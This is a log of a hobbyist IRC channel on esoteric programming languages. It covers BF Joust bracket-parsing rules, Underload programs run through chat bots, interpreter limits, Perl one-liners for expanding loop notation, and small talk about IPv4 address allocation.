06:56:26 <fizzie> Gregor: If you're advocating that { should associate with the first "free" (, then sorry, the spec doesn't say so. :p
06:56:40 <Sgeo> How do you request a 402?
06:57:04 <pikhq> zzo38: Even 418 I'm a teapot?
06:57:31 <oerjan> fizzie: um it doesn't?
06:57:58 <Sgeo> pikhq, that's part of that coffee spec, isn't it?
06:58:05 <Sgeo> Not strictly HTTP?
06:58:39 <zzo38> I did not put 418. (At least not yet)
06:58:40 -!- pikhq_ has joined.
06:59:01 <fizzie> oerjan: What "doesn't"? "Doesn't say"? I mean, you people might have talked something like that in here, but I'm going by http://www.esolangs.org/wiki/BF_Joust where the only thing about nested {}s is "Braces may be nested within braces. The innermost parentheses match the outermost braces --" and a (a(b{c{d}e}f)%2g)%2 as an example.
06:59:56 <pikhq_> zzo38: Aaaaw.
07:00:04 <fizzie> oerjan: So my parser does ( ( { { ... } } ) ) so that the inner {} always matches the outer () in that case.
07:00:05 <oerjan> fizzie: which happens to give the same result as saying an { matches the first free ( afaict
07:00:19 <fizzie> Well, yes, but it doesn't *say so*.
07:00:26 <Sgeo> Why is there an emacs implementation of HTCPCP?
07:00:40 <fizzie> And the behaviour differs for (({}({{}}))).
07:00:47 <pikhq_> Sgeo: Why not?
07:01:08 <Sgeo> pikhq_, where are my HTCPCP-compliant coffee machines?
07:01:15 <zzo38> http://zzo38computer.cjb.net/errors/error.php?code=402
07:01:29 <pikhq_> Sgeo: That need be fixed.
07:01:36 <oerjan> fizzie: ah. i did not intend for that to be legal.
07:01:38 * Sgeo immediately begins wondering how to exploit error.php
07:01:46 -!- pikhq has quit (Ping timeout: 260 seconds).
07:01:54 <oerjan> fizzie: oh wait right
07:02:07 <oerjan> first free is not correct, no.
07:02:20 <oerjan> because that does not disallow (({}{}))
07:02:35 <zzo38> Sgeo: Try if you want to, and tell me if you figure out anything which is a security problem. However, I think I made it secure.
07:02:43 <oerjan> and what you wrote is simply adding an extra ({}) to that
07:03:09 <Sgeo> Well, that's bizarre behavior
07:03:15 <Sgeo> 500 when given 789
07:03:29 <fizzie> Well, Gregor is doing (({({{ ... in his thing. (I didn't look further to see how it goes on from that.)
07:03:55 <zzo38> Sgeo: Anything which is not supported by Apache or PHP will put 500 instead.
07:04:05 <oerjan> yeah that's not supposed to be legal either
07:04:17 <oerjan> er wait
07:04:20 * oerjan recounts
07:04:28 <oerjan> yes that's legal
07:05:39 <oerjan> that innermost rule may not be very good for things like (({}){})
07:06:07 <fizzie> Oh. So you *do* want first-free-style thing there after all.
07:06:32 <fizzie> If (({({{ is supposed to match A( B( B{ C( C{ A{.
07:06:39 <oerjan> well i invented the notation but didn't write it up on the wiki...
07:06:45 <pikhq_> Hey, they actually have the Trojan Room coffee pot camera up again.
07:06:59 <oerjan> and yes, it should
07:07:06 <pikhq_> Someone actually bought it and set a camera on it.
07:07:13 <pikhq_> http://www.spiegel.de/static/popup/coffeecam/cam2.html
07:08:06 -!- mtve has joined.
07:08:19 <oerjan> fizzie: the rule as i intended: every ( must match with a { or a ), every { with a (, every } with a ), and every ) with a } or a ). and no matches may cross.
07:08:48 <oerjan> um i'm missing some detail
07:09:15 <oerjan> hm no i don't, that does disallow ({}{})
07:09:30 <oerjan> because that would give crossing matches
07:09:45 <fizzie> oerjan: "Bah", I say. I don't think I keep enough state to allow (({({{ as A( B( B{ C( C{ A{ easily while at the same time not making (({}({{ to be A( B( B{B} C( C{ A{.
07:10:17 <Lymia> (a(b{c}d{e}f{g{h}i{j}k}l{m}n)o{p}q)
07:10:19 <Lymia> What do you do.
07:10:39 <fizzie> Well, I do catch *that*.
07:11:27 <fizzie> But currently as a virtue of having the (-{ match specified "statically" directly as a function of the nesting depth.
07:11:27 <oerjan> fizzie: i've mentioned that i think parsing this properly requires two stacks, or one stack in parallel with recursive parsing
07:11:35 <pikhq_> (the Trojan Room coffee pot, for those who either *weren't* online in the 90s or don't remember, was a coffee pot with a camera put on it. In 1991. Inexplicably, this became well-known when the camera got hooked to the Internet in '93.)
07:12:07 <pikhq_> (and I actually remember the damned thing. Good God was I young when I started using the Internet regularly.)
07:12:31 <oerjan> fizzie: well in (({}({{ the first and third {'s do have the same nesting depth
07:12:43 -!- augur has quit (Remote host closed the connection).
07:13:36 <fizzie> oerjan: Yes, but my nesting depth counts (s and then separately the number of {s without intervening (s, and does basically "take { match from {-nesting-depth deep in the (-stack".
07:14:27 <fizzie> So I would currently match the last { into the same ( in both (({}({{ and (({({{.
07:15:01 <oerjan> fizzie: ( increases nesting depth, { decreases it
07:15:50 -!- cheater- has quit (Ping timeout: 272 seconds).
07:15:58 <fizzie> Yes, well, that's the same as looking more levels "deeper" in the (-stack.
07:17:00 -!- cheater- has joined.
07:18:56 <oerjan> fizzie: another intuition is that when you turn (a{b}c)%n into egojoust's mismatched parenthesis notation (a)*nb(c)*n, all parentheses should match properly in the usual sense
07:19:12 <oerjan> *mismatched []
07:20:11 -!- FireFly has quit (Quit: swatted to death).
07:21:10 <fizzie> Well, I already have a two-stack approach, it's just counting {{}}s inside a single (); I think I can quasi-easily retrofit that to something which does your thing properly.
07:21:35 <oerjan> :)
07:21:49 <fizzie> With any luck it's going to be even simpler.
07:22:28 <fizzie> The old solution had the {-stack actually to be sort of a stack-of-stacks to handle (({{ (({{ properly.
07:23:06 <oerjan> huh
07:23:41 <fizzie> Since it was "{-stack for the 'current' immediately enclosing ()", basically.
07:25:56 <oerjan> i did ponder a bit how to parse this in a functional way, and then i figured that the parsing result should include a stack of still unmatched inner {'s...
07:26:38 <oerjan> although that structure got quite weird
07:33:27 -!- augur has joined.
07:55:51 -!- pikhq has joined.
07:56:21 -!- pikhq_ has quit (Ping timeout: 272 seconds).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:02:38 -!- boysetsfrog has joined.
08:08:21 <fizzie> oerjan: Did you intend to allow things like [(++{]}--)%5?
08:10:20 <oerjan> no
08:10:20 <fizzie> I mean, it does have a sensible meaning [++++++++++]---------- and all.
08:10:53 <oerjan> only accidentally
08:11:29 <oerjan> it can be written as [(++)*5](--)*5
08:11:44 -!- poiuy_qwert has joined.
08:11:57 <fizzie> Then I guess your "( increments nesting level, { decrements" rule isn't enough to catch those crossing loops, since [({] would be just the same as [()].
08:12:04 <oerjan> but it totally breaks the intended efficient implementation
08:12:32 -!- cheater- has quit (Ping timeout: 240 seconds).
08:12:41 <oerjan> fizzie: um no, i said you need two stacks, one is for ({}) but the other is for _all_ types of brackets, matching intuitively
08:13:39 <fizzie> I do []-loops separately at the moment.
08:13:50 -!- cheater- has joined.
08:13:53 <oerjan> ouch
08:13:56 <fizzie> I guess they could be in the same bit, though.
08:14:43 <fizzie> It does have the side-effect benefit of not requiring properly matched []s in ()*0 comments. :p
08:15:20 <oerjan> the intended efficiency from not needing to change any () loop state when you jump between []'s goes completely down the drain if you allow [] to cross over the rest
08:16:46 <fizzie> I don't really see that. Isn't the () loop-counter stack in identical state at A and B in A (...{ B }...)%5?
08:17:22 <oerjan> hm actually you are right in that case
08:18:04 <fizzie> (Lunchtime.)
08:19:44 -!- cheater- has quit (Ping timeout: 240 seconds).
08:21:01 -!- cheater- has joined.
08:40:48 -!- pikhq_ has joined.
08:41:17 -!- pikhq has quit (Ping timeout: 272 seconds).
08:44:23 <zzo38> Do you own a copy of "The PROFESSIONAL Pokemon Sticker Book"?
08:46:29 <oerjan> ^ul (()(*))(~:^:S*a~^a~!~*~:(/)S^):^
08:46:29 <fungot> */*/**/***/*****/********/*************/*********************/**********************************/*******************************************************/*****************************************************************************************/********************************************************************************* ...too much output!
08:46:47 <oerjan> ^ul (()((*)S))(~:^:^*a~^a~!~*~:(/)S^):^
08:46:47 <fungot> */*/**/***/*****/********/*************/*********************/**********************************/*******************************************************/*****************************************************************************************/********************************************************************************* ...too much output!
08:49:39 <Lymia> Fibonacci sequence?
08:49:50 <oerjan> yep
08:50:03 <oerjan> one of the oldest underload programs, i think
08:53:41 <Lymia> So.
08:53:43 <Lymia> What is this.
08:53:44 <Lymia> Underload golf?
08:54:46 <oerjan> underload minimization, but not of program length
08:54:59 <oerjan> rather, removing individual instructions
08:55:14 <oerjan> (no i haven't done so above)
09:11:32 -!- pikhq has joined.
09:12:18 -!- pikhq_ has quit (Ping timeout: 272 seconds).
09:12:42 -!- yorick has joined.
09:17:59 <fizzie> Gregor: Please to be fetching a fixed copy at http://git.zem.fi/chainlance/blob_plain/master:/gearlance.c -- I make no claims for full compliance, but it at least gives identical results to egojsout for your http://sprunge.us/WZNL against few random opponents.
09:27:05 <oerjan> ^ul (((j))((*)S(j))(j))(aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:^a(*)**:^a(*)**aa((a(*)**(a(*)**)))*:*^a(*)****^**a((j))*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^^a(*)**a((j))*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^a(*)**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^aa((a(*)**(a(*)**)))*:*^a(*)****^**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:(/)
09:27:05 <fungot> ...unterminated (!
09:27:11 <oerjan> darn
09:28:22 <oerjan> huh only 5 characters too long
09:28:49 <oerjan> ^ul ((())((*)S())())(aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:^a(*)**:^a(*)**aa((a(*)**(a(*)**)))*:*^a(*)****^**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^^a(*)**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^a(*)**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^aa((a(*)**(a(*)**)))*:*^a(*)****^**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:(/)S^):^
09:28:49 <fungot> ...out of stack!
09:28:55 <oerjan> argh
09:28:56 <oerjan> oh wait
09:29:01 <oerjan> ^ul ()((())((*)S())())(aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:^a(*)**:^a(*)**aa((a(*)**(a(*)**)))*:*^a(*)****^**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^^a(*)**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^a(*)**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^aa((a(*)**(a(*)**)))*:*^a(*)****^**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:(/)S^)
09:29:23 <oerjan> ...now what
09:29:35 <oerjan> ^echo hi
09:29:35 <fungot> hi hi
09:29:47 <oerjan> um wait
09:31:06 <fizzie> ^echo ha
09:31:06 <fungot> ha ha
09:31:09 <fizzie> (The friendly bot.)
09:42:31 <oerjan> ^ul ((x)S(j))(::aa((a(*)**(a(*)**)))*:*^a(*)****^**aa((a(*)**(a(*)**)))*:*^a(*)****^**(j))^a(*)**^
09:42:31 <fungot> x ...out of stack!
09:42:38 <oerjan> ^ul ()((x)S(j))(::aa((a(*)**(a(*)**)))*:*^a(*)****^**aa((a(*)**(a(*)**)))*:*^a(*)****^**(j))^a(*)**^
09:42:38 <fungot> xxx
09:42:43 <oerjan> ok that one worked
09:47:30 -!- Phantom_Hoover has joined.
09:57:35 <oerjan> ^ul ()((())((*)S())())(aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:^a(*)**:^a(*)**aa((a(*)**(a(*)**)))*:*^a(*)****^**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^^a(*)**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^a(*)**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^aa((a(*)**(a(*)**)))*:*^a(*)****^**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^():(/)S
09:57:36 <fungot> ...unterminated (!
09:57:46 <oerjan> huh
09:58:26 <boysetsfrog> :\
10:00:13 <fizzie> If that's supposed to end with (/)S^):^, it got cut off again; ends at "S". And the "now what" one ends with just "S^)".
10:01:11 <oerjan> wait with S^) ?
10:01:50 <oerjan> ok then the now what one may have been correct
10:02:20 <oerjan> that () that appeared now was a mistake, i think
10:03:12 <oerjan> there's a possible shortcut in the * expansion, that should get it under
10:04:25 <fizzie> "* ...too much stack!" if I try to append the presumably missing :^ with the str+def trick.
10:04:37 <oerjan> not too unlikely, alas
10:04:50 -!- yorick has quit (Remote host closed the connection).
10:05:58 -!- yorick has joined.
10:07:11 <oerjan> ^ul ()((())((*)S())())(aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:^a(*)**:^a(*)**aa((a(*)**):a*)*:*^a(*)****^**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^^a(*)**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^a(*)**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^aa((a(*)**):a*)*:*^a(*)****^**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:(/)S^):^
10:07:11 <fungot> * ...too much stack!
10:07:54 <oerjan> well it _did_ manage to print on asterisk XD
10:08:07 <oerjan> what is the stack limit btw
10:08:39 <oerjan> *one
10:10:08 <fizzie> ffaa*** is one limit, but I think it's the "out of time" one. Yes, it's that.
10:10:39 <fizzie> cd*:* is the stack limit.
10:11:18 <oerjan> > (12*13)^2
10:11:18 <lambdabot> 24336
10:11:22 <oerjan> that?
10:11:40 <fizzie> Pppprobably. At least it's right there nearby the message. :p
10:12:11 <fizzie> 91g cd*:*+ 0` |, yes it does look like a stack-size check.
10:12:52 <fizzie> I could bump it up one order of magnitude if that helps.
10:13:22 <oerjan> probably not, exponential growth of the garbage seems likely
10:13:50 <oerjan> this is going to need an interpreter with actual structure sharing
10:14:48 <oerjan> hm
10:14:51 <fizzie> ^ul (***************):*:*:*:*:*:*:*:*:*:*(yes)S
10:14:52 <fungot> yes
10:14:53 <fizzie> ^ul (***************):*:*:*:*:*:*:*:*:*:*:*(yes)S
10:14:53 <fungot> ...too much stack!
10:15:01 <fizzie> It does seem to be there between 16k and 32k.
10:16:27 <oerjan> !echo hi
10:17:02 <oerjan> !echo hi
10:17:11 <EgoBot> hi
10:17:12 <EgoBot> hi
10:17:27 <oerjan> !underload http://oerjan.nvg.org/esoteric/underload/test.ul
10:17:30 <EgoBot> *
10:17:41 <oerjan> eek
10:17:57 <oerjan> ok it's definitely working :)
10:18:11 <oerjan> and egobot did it reasonably fast, too
10:20:20 <oerjan> !haskell import System.IO; main = do putStr "hm "; hFlush stdin; main
10:20:25 <oerjan> er
10:20:31 <oerjan> !haskell import System.IO; main = do putStr "hm "; hFlush stdout; main
10:20:47 <oerjan> !echo hi
10:20:52 -!- pikhq has quit (Ping timeout: 240 seconds).
10:20:54 -!- pikhq_ has joined.
10:21:16 <oerjan> hm does EgoBot give any response to timeout?
10:21:31 <oerjan> !haskell import System.IO; main = do putStr "hm "; hFlash stdout; main
10:22:13 <fizzie> Line 315, columns 16 and 22... so line 414, columns 15 and 21 in physical coords. That's line ee*b+2*, columns f and f6+. So...
10:22:15 <fizzie> ^bf 'ff6+ee*b+2*p'*fee*b+2*p
10:22:20 <fizzie> ^ul (***************):*:*:*:*:*:*:*:*:*:*:*(yes)S
10:22:20 <fungot> ...too much stack!
10:22:24 <fizzie> Hmm. :/
10:22:44 <fizzie> No, that's not the run-befunge command, that's the brainfuck commad.
10:22:46 <fizzie> Silly me.
10:23:05 <fizzie> ^code 'ff6+ee*b+2*p'*fee*b+2*p
10:23:08 <fizzie> ^ul (***************):*:*:*:*:*:*:*:*:*:*:*(yes)S
10:23:08 <fungot> yes
10:23:10 <fizzie> There.
10:23:16 <fizzie> The stack limit is now
10:23:26 <fizzie> > 15*(12*13)^2
10:23:27 <lambdabot> 365040
10:23:30 <oerjan> huh
10:23:31 <fizzie> That many bytes.
10:23:32 <oerjan> let's see
10:23:46 <oerjan> ^ul ()((())((*)S())())(aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:^a(*)**:^a(*)**aa((a(*)**):a*)*:*^a(*)****^**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^^a(*)**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^a(*)**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^aa((a(*)**):a*)*:*^a(*)****^**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:(/)S^):^
10:23:47 <fungot> * ...too much prog!
10:23:54 <oerjan> er...
10:24:12 <fizzie> Heh, you hit the second stack limit, I guess.
10:24:22 <oerjan> fungot: getting a real workout today, are we?
10:24:22 <fungot> oerjan: confuse you more than ten gigabytes of data, mondrian is the way
10:25:09 <oerjan> it's still a _little_ disturbing that it didn't even get to the second string of asterisks - and EgoBot gave a _lot_ of lines
10:25:33 <fizzie> That limit is also dc*:*, it seems; or at least it's there near the "!gorp hcum oot..." string.
10:28:47 <fizzie> Line 317, columns 19, 20, 21; that is, 416 and 18, 19 and 20; so...
10:28:48 <fizzie> ^code 'ff3+ee*c+2*p'*f4+ee*c+2*p'-f5+ee*c+2*p
10:28:54 <fizzie> Sooner or later I'm going to break something.
10:29:08 <oerjan> ...you do at least have version control?
10:29:17 * oerjan says, hypocritically
10:29:21 <fizzie> Yes, and these only touch the in-memory copy anyway.
10:29:33 <oerjan> ^ul ()((())((*)S())())(aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:^a(*)**:^a(*)**aa((a(*)**):a*)*:*^a(*)****^**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^^a(*)**a(())*aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^a(*)**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^aa((a(*)**):a*)*:*^a(*)****^**aa((a(*)**((aa)(a(*)**))))*:*^a(*)****^a*^a*aa*(*:*^a(*)****^)*^:(/)S^):^
10:29:48 <fungot> * ...too much stack!
10:29:56 <oerjan> XD
10:30:01 <fizzie> Heh, took quite a while longer this time to get there.
10:30:15 <oerjan> it _still_ went over limit before getting to the second asterisk :D
10:30:37 <oerjan> i guess there's no use trying any more with a string-based interpreter
10:30:57 <oerjan> or, for that matter, the /
10:51:36 -!- pikhq has joined.
10:52:04 -!- pikhq_ has quit (Ping timeout: 264 seconds).
11:20:16 -!- sftp has joined.
11:37:22 * Phantom_Hoover curses his compulsive hoarding.
11:37:39 <oerjan> that goes with being a hoover, i take
11:37:47 <Phantom_Hoover> Yeah, probably.
11:38:18 <oerjan> elimination of ~! now on Underload page
11:42:31 <cheater-> rjan: hello
11:42:57 <cheater-> have you finally eliminated it?
11:42:59 <cheater-> well done
11:50:12 -!- cheater- has quit (Quit: Leaving).
11:50:56 -!- cheater- has joined.
12:00:59 -!- FireFly has joined.
12:14:06 <oerjan> :t germanize
12:14:07 <lambdabot> Not in scope: `germanize'
12:17:41 <fizzie> Gregor: Also, you mentioned an expander; here's a dirt-simple (and readable, and maintainable, and all that) Perl-oneliner which should work for plain "()*N containing any loops" code:
12:17:46 <fizzie> $ cat testx.b
12:17:46 <fizzie> ([+)*5([([)*2(+)*3)*6(])*23
12:17:51 <fizzie> $ perl -e '$p=$o=join("",<>); while(1){$p =~ s/\((([^()]*|\((?2)*\))*)\)\*(\d+)/index($1,"[")>=0||index($1,"]")>=0 ? $1x$3 : $&/egs; last if $p eq $o; $o=$p;} print $p;' < testx.b
12:17:51 <fizzie> [+[+[+[+[+[[[(+)*3[[[(+)*3[[[(+)*3[[[(+)*3[[[(+)*3[[[(+)*3]]]]]]]]]]]]]]]]]]]]]]]
12:18:26 <fizzie> Altering the expression to match only ()s that have unbalanced []s left as an exercise.
12:26:17 -!- boysetsfrog has quit (Quit: ...).
12:34:00 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
12:38:53 <fizzie> Well, now, that was simple:
12:38:58 <fizzie> $ cat testx.b
12:38:58 <fizzie> ([+)*5([([)*2([+])*3)*6(])*23
12:39:02 <fizzie> $ perl -e '$p=$o=join("",<>); while(1){$p =~ s/\((([^()]*|\((?2)*\))*)\)\*(\d+)/my($b,$c,$f)=($1,$3,$&); $b =~ m{^([^\[\]]*|\[(?1)*\])*$} ? $f : $b x $c/egs; last if $p eq $o; $o=$p;} print $p;' < testx.b
12:39:02 <fizzie> [+[+[+[+[+[[[([+])*3[[[([+])*3[[[([+])*3[[[([+])*3[[[([+])*3[[[([+])*3]]]]]]]]]]]]]]]]]]]]]]]
12:42:33 -!- BeholdMyGlory has joined.
12:42:39 <quintopia> now to not expand ({})% that are already matched?
12:43:11 -!- Phantom_Hoover has joined.
12:45:30 <Phantom_Hoover> fungot,
12:45:30 <fungot> Phantom_Hoover: or so goes the story i tell to people who use gambit-c. i can't do music. well, it's open source
12:45:51 <Phantom_Hoover> Oh, how I wish the full stop after "music" wasn't there.
12:50:04 -!- cheater- has quit (Ping timeout: 272 seconds).
12:51:15 -!- cheater- has joined.
12:57:10 -!- oerjan has quit (Quit: leaving).
13:02:23 -!- cheater- has quit (Ping timeout: 240 seconds).
13:04:09 -!- cheater- has joined.
14:24:21 -!- cheater- has quit (Ping timeout: 240 seconds).
14:26:27 -!- cheater- has joined.
14:31:09 -!- cheater- has quit (Ping timeout: 240 seconds).
14:31:21 -!- Sgeo has quit (Ping timeout: 272 seconds).
14:32:18 -!- cheater- has joined.
14:36:16 -!- MigoMipo has joined.
14:48:44 -!- MigoMipo has quit (Remote host closed the connection).
15:19:45 -!- iconmaster has joined.
15:24:56 -!- Sgeo has joined.
15:43:20 -!- zzo38 has quit (Remote host closed the connection).
15:45:49 <Sgeo> This class is like one long advertisement for Microsoft
15:50:48 <Phantom_Hoover> Sgeo, HAVE WE MENTIONED THAT YOU SHOULD HAVE TRANSFERRED MONTHS AGO
15:51:01 <quintopia> or that you should get a blog?
15:53:59 -!- sebbu has quit (Read error: Connection reset by peer).
15:54:36 -!- sebbu has joined.
15:54:37 -!- sebbu has quit (Changing host).
15:54:37 -!- sebbu has joined.
15:57:48 <Sgeo> Who'd be interested in the blog?
16:01:13 <Phantom_Hoover> elliott would probably read it in order to mock you.
16:07:49 <quintopia> at least as many people as are interested in your random postings to this channel, i'm sure
16:08:36 <Sgeo> Also, I'd feel weird talking about some of this stuff on the web
16:08:39 <Sgeo> clog doesn't count
16:09:32 <quintopia> you could adopt a new name and do it anonymously.
16:09:47 <quintopia> you know, where people don't know your real name and where you go to school and stuff
16:12:36 -!- Gregor has changed nick to gkrichar.
16:12:49 <gkrichar> Argh
16:12:51 -!- gkrichar has changed nick to Gregor.
16:12:52 -!- MigoMipo has joined.
16:13:34 <quintopia> what is gkrichar?
16:14:11 <Gregor> My terrible username at Purdue.
16:14:22 <Gregor> Which was the default in this empty X-Chat setup I neglected to change.
16:14:33 <quintopia> oic
16:15:26 <coppro> gkrichar is clearly the only correct username
16:15:32 <quintopia> must be nice having your real name as your nick on here...
16:16:12 <Gregor> Hell of a lot nicer than "gkrichar" :P
16:17:03 <Phantom_Hoover> Did they decide that the "d" was a waste of space
16:17:05 <Phantom_Hoover> *?
16:17:18 <coppro> Phantom_Hoover: cap at 8 chras
16:17:19 <coppro> *chars
16:17:37 <quintopia> gkricharizard
16:18:42 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
16:22:26 <Ilari> APNIC down 0.02 today.
16:23:21 <Gregor> Cap at 8 chars IN THE YEAR 2009 (when I got the ID)
16:23:45 <Gregor> At PSU I was "gregor" ... it was awesome :(
16:29:29 * Phantom_Hoover is smug that he will never have a meaningful name clash in his life.
16:30:01 <Gregor> !bfjoust I_just_want_the_old_myndzi_careless_of_the_board (>)*8(>[[-]])*21
16:30:27 <Gregor> Phantom_Hoover: None of this is about name clashes, just poor policies.
16:31:05 -!- Sgeo has quit (Ping timeout: 240 seconds).
16:31:15 <Phantom_Hoover> Gregor, pshht.
16:32:16 <EgoBot> Score for Gregor_I_just_want_the_old_myndzi_careless_of_the_board: 17.0
16:32:37 <Gregor> !bfjoust I_just_want_the_old_myndzi_careless_of_the_board <3
16:32:45 <EgoBot> Score for Gregor_I_just_want_the_old_myndzi_careless_of_the_board: 0.0
16:33:02 <Gregor> !bfjoust I_just_want_that_program_where_I_typod_off_as_of_off_the_board (>)*8(>[[-]])*21
16:33:09 <EgoBot> Score for Gregor_I_just_want_that_program_where_I_typod_off_as_of_off_the_board: 17.5
16:33:25 <Phantom_Hoover> XD
16:33:31 <Gregor> !bfjoust I_just_want_that_program_where_I_typod_off_as_of_off_the_board <3
16:33:34 <EgoBot> Score for Gregor_I_just_want_that_program_where_I_typod_off_as_of_off_the_board: 0.0
16:34:59 -!- zzo38 has joined.
16:45:20 <zzo38> ?
16:46:26 <Gregor> So come on people, where's all the competition.
16:46:38 <Gregor> Although I love that FFSPG has 69 points, it's about time somebody beat it :P
16:46:52 <Gregor> ais and quintopia were both claiming they had amazing programs on the way.
16:50:25 -!- pikhq has quit (Ping timeout: 240 seconds).
16:50:33 -!- pikhq has joined.
16:51:16 -!- augur has quit (Remote host closed the connection).
16:54:11 <iconmaster> I made a graphical BF Joust interpreter last night.
16:54:21 <iconmaster> It's called IconJoust.
16:54:43 <iconmaster> I'm uploading it to a site currently.
16:54:46 -!- hiato has joined.
16:54:51 -!- hiato has quit (Client Quit).
16:55:21 <Gregor> So, like EgoJSout, but not as cool ;)
16:55:25 <iconmaster> Yep!
16:55:36 <quintopia> gregor: i stopped working on that to begin work on a compiler for bfjml. for which i am learning perl.
16:56:00 <iconmaster> It's slow, the graphics look bad, and you need to parse the fighters through a Lua file first!
16:56:47 <iconmaster> And the fighter parser doesn't work right all the time!
16:58:27 <Gregor> iconmaster: Sounds BEST EVER.
16:58:45 <iconmaster> Gregor: Yep! I LOVE It!
16:59:12 <quintopia> are the programs represented by little knights on horses with jousting poles?
16:59:34 <quintopia> and the cell values by castle turrets of various heights?
16:59:42 <quintopia> if so, it is BEST EVER
16:59:52 <quintopia> oh wait no
16:59:59 <iconmaster> That woulkd be a cool theme. Ill think about it...
17:00:19 <quintopia> best ever would be the cells being windmills, and the warriors having long quixote mustaches
17:01:38 <iconmaster> It's being virus scanned right now, IconJoust will be found at http://www.yoyogames.com/games/164956-iconjoust
17:02:03 <iconmaster> Its written in GML btw
17:04:23 <fizzie> Gregor: So I fixed those {}s, in case you didn't logread.
17:05:01 <quintopia> is gearlance replacing egojoust?
17:05:39 <zzo38> quintopia: And then some windmills should rotate clockwise, and others counterclockwise.
17:06:15 -!- cheater00 has joined.
17:06:16 -!- cheater- has quit (Ping timeout: 240 seconds).
17:06:18 <fizzie> quintopia: Seems to, though of course what happens at !bfjoust stays at !bfj... I mean, is up to Gregor.
17:06:24 -!- zzo38 has quit (Remote host closed the connection).
17:06:26 <quintopia> zzo38: the speed and direction of the blades indicates the value, rather than the size!
17:06:38 <quintopia> durn
17:06:43 <quintopia> too slow
17:10:24 <Gregor> fizzie: Can haz URL
17:11:37 <quintopia> http://arstechnica.com/gaming/news/2011/02/otheros-class-action-lawsuit-geohot-sony-now-share-same-charge.ars
17:12:44 <Deewiant> What's a POSIX command for reading the first N characters from stdin to stdout
17:13:47 <fizzie> Gregor: http://git.zem.fi/chainlance/blob_plain/HEAD:/gearlance.c
17:13:59 <Gregor> Deewiant: head -c N
17:14:03 <fizzie> Deewiant: You sound like a crossword puzzle; but head.
17:14:04 <Deewiant> Gregor: GNU only
17:14:26 <Deewiant> -c ain't POSIX, or at least solaris head doesn't have it
17:15:49 <Ilari> Detailed breakdown: IPv4/22 to Japan, IPv4/22 to Thailand, 2xIPv4/15+IPv4/16 to China, 2xIPv4/18 to Vietnam, IPv4/18+IPv4/19 to New Caledonia, IPv4/21+IPv6/32 to Singapore, IPv4/23+IPv4/24+3xIPv6/32 to Australia, IPv4/23+IPv6/32 to Indonesia
17:16:06 <fizzie> Deewiant: dd bs=N count=1 ?
17:16:07 <pikhq> Ilari: So, what does the IPv4 pool look like right now?
17:16:34 <Gregor> Crowded, and full of latent urine and feces of inconsiderate swimmers.
17:16:48 <Ilari> APNIC pool: 2.55 plus something like 1.60 of ERX space.
17:17:14 <pikhq> Getting cramped...
17:17:28 <Ilari> (plus that 1 of reserved space)
17:17:46 <Gregor> However crowded it is, remember that an enormous section of the pool is cordoned off and reserved for IBM swimmers only :P
17:18:06 <Ilari> Don't forget HP: 3x/8(!)
17:18:06 <Deewiant> fizzie: bs=1 count=N rather (I'm not sure why but the other way around didn't work), but thanks
